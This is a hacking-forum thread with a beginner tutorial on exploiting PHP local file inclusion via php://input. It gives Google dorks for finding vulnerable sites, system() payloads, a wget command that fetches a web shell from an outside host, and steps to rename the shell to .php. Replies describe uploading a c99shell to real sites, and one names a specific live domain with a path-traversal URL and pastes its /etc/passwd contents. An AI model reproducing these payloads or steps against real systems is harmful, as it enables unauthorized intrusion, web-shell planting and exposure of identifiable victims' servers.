Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[LFI method] php://input - Noob friendly with pictures

Things you will need:

1.) Site vulnerable to LFI (Local file inclusion)
2.) HackBar

Chapter I


- Finding vulnerable site

Few Google dorks.

Credits: -Downfall

Code
inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activies.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php

So when you find some site like this:

Code
http://site.com/index.php?page=main.php

Instead of main.php put /etc/passwd and if you get something like this :

[img]http://img820.imageshack.us/img820/723/regionme.png[/img]

If you type php://input instead /etc/passwd and it doesn't throw error then it's vulnerable and we can continue.

Chapter II


- Exploiting

So we have our vulnerable site.
Code
http://site.com/index.php?page=main.php

Now it's time to exploit it.
Go here and install HackBar (If you don't have it already)
Code
https://addons.mozilla.org/en-US/firefox/addon/hackbar/

Now open your site and Load URL into the hackbar.

[img]http://img707.imageshack.us/img707/4452/regionfr.png[/img]

[img]http://img703.imageshack.us/img703/4188/regionzz.png[/img]

Good.
Now replace everything next to = sign and replace it with
Code
php://input

Like this
Code
http://site.com/index.php?page=php://input

[img]http://img853.imageshack.us/img853/8995/regionbx.png[/img]

Now enable "Enable Post Data"

[img]http://img811.imageshack.us/img811/8567/regionij.png[/img]

You will get new box.
There we will type our commands.

Chapter III


- How the fuck do i shell it?

This part is simple.
All you need to do is to put your commands into "Post Data" box.
We start with simple ones like:

Code
<? system('id'); ?>

[img]http://img641.imageshack.us/img641/2285/regiont.png[/img]

As you can see it executed and it works pretty well.
Now comes shelling part.

If you have some hacked site,you can host your shell (In textual (.txt) format)

I will use 404 Gny shell for this tutorial.

We type

Code
<? system('wget www.site.com/shell.txt'); ?>

(Replace link with your shell location)

[img]http://img214.imageshack.us/img214/5299/regionqg.png[/img]

To see if your shell downloaded type:

Code
<? system('ls'); ?>

You got list of files in current directory.
Search for your file (Mine one is aa.txt)
(For simple search press CTRL+F and then type your filename there)

[img]http://img823.imageshack.us/img823/4452/regionfr.png[/img]

Final part is to rename aa.txt to aa.php.
This simple command will do the trick:

Code
<? system('mv aa.txt aa.php'); ?>

[img]http://img515.imageshack.us/img515/8532/regiondp.png[/img]

Now we just access our shell.

[img]http://img269.imageshack.us/img269/7311/regionhk.png[/img]

[img]http://img191.imageshack.us/img191/9604/regionvj.png[/img]

So that concludes our litlle tutorial.
I hope you guys learned something new today.

Video tutorial thanks to -Zer0Freak-




Greetz to:

Team INTRA, -Downfall, BeggFoMercy, Zer0Pwn...
Nice tut, but that shell where can i download it?
Sent me a BTC beer if you want 1LLbRgbUJjrf15zjfYDooACtWfYS5GmnTV
(Apr 9, 2012 07:29 AM)Puk$on Wrote:  Nice tut, but that shell where can i download it?

Thanks Pukkie! ✌
I'll PM you.
Fantastic tutorial. Going to try it out on some websites.

Thanks hax0r!
Thanks Bacardi.
I think i will cover more tutorials on LFI methods.

🤝
Great tutorial dude, I had never thought of using the POST feature of hackbar to inject for LFI, it makes thing's so much easier.
Good write-up Haxor !

Too bad tha LFI ain't very common nowadays :/
Great tutorial, I wish if you could pm me a download link for that shell. Thanks
[Image: bxJWb.gif]
Gonna try it now .
Looks nice method.
[Image: YbnrlXn.gif]
nice one i already tried it and i upload a c99shell on one of the sites i got, thanks for this haxor

can i also get that shell you use haxor?
Finally, a guide that i fully understand!!

Thank you!

This guide is GREAT!
Thanks you, HaxOr.. I really didn't knew that you could upload a shell using just LFI.

Most of the time I get an error message, when I try to access /etc/passwd - but oh well. Guess I'll just have to keep looking!:)
Quote:Not Found

The requested URL /etc/passwd was not found on this server.

Edit:
I finally found one where I could use /etc/passwd. But when I do php://input, then it gives me this:
Quote:Warning: require(php://input) [function.require]: failed to open stream: operation failed in /home/content/g/a/r//html/admin/index.php on line 25

Fatal error: require() [function.require]: Failed opening required 'php://input' (include_path='.:/usr/local/php5/lib/php') in /home/content/g/a/r/
/html/admin/index.php on line 25
Great tutorial!
I love how you guys are almost bringing LFI back to life with all the methods (It's alive, but not on HF).

Amazing tutorial, HaxOr. :)
[Image: ag0dyBC.png]
Well nice tut hax0r :o) - your are doing good.
such as setting the permissions to read the /etc/shadaow file, I need to authorize my self as an admin on the server, before I can expande the view on the .shadow file

such a scenario which I'm talking about is that, I explored this randomly website, just to test if your tut was working ofc. Then it gave me a internal error on apache.. saw it on the live http header, that the page did not load correctly, but spit out Error 505 or something like that. When I even tried to execute this script
Code
<? system('id'); ?>

anyways I got this far, and not further... haha :)

Code
http://waste-mg.com/robotics/index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false bind:x:103:110::/var/cache/bind:/bin/false postfix:x:104:112::/var/spool/postfix:/bin/false dovecot:x:105:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin messagebus:x:107:116::/var/run/dbus:/bin/false landscape:x:108:65534:Landscape Client Daemon,,,:/var/lib/landscape:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:109:120:MySQL Server,,,:/var/lib/mysql:/bin/false ftp:x:110:65534::/home/ftp:/bin/false ralfe:x:1001:1001::/home/ralfe:/bin/bash Debian-exim:x:111:121::/var/spool/exim4:/bin/false mulletman87:x:1002:1002::/home/mulletman87:/bin/sh terry:x:1003:1003::/home/terry:/bin/bash richard:x:1004:1004::/home/richard:/bin/bash

feel free to mess around with it ! - Nice work from hax0r right there!.
I'm out. L8ter bitches <3
Ghehe nice :D
Can you PM me the shell?
Tnx in advance.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Aug 8, 2021 12:47 AM 11 1,097 Aug 8, 2021 12:47 AM
Last Post: savetree
by whitepawnNov 1, 2019 11:42 AM 3 317 Nov 1, 2019 11:42 AM
Last Post: Ramb0x
by NexiumMay 8, 2019 12:06 AM 0 241 May 8, 2019 12:06 AM
Last Post: Nexium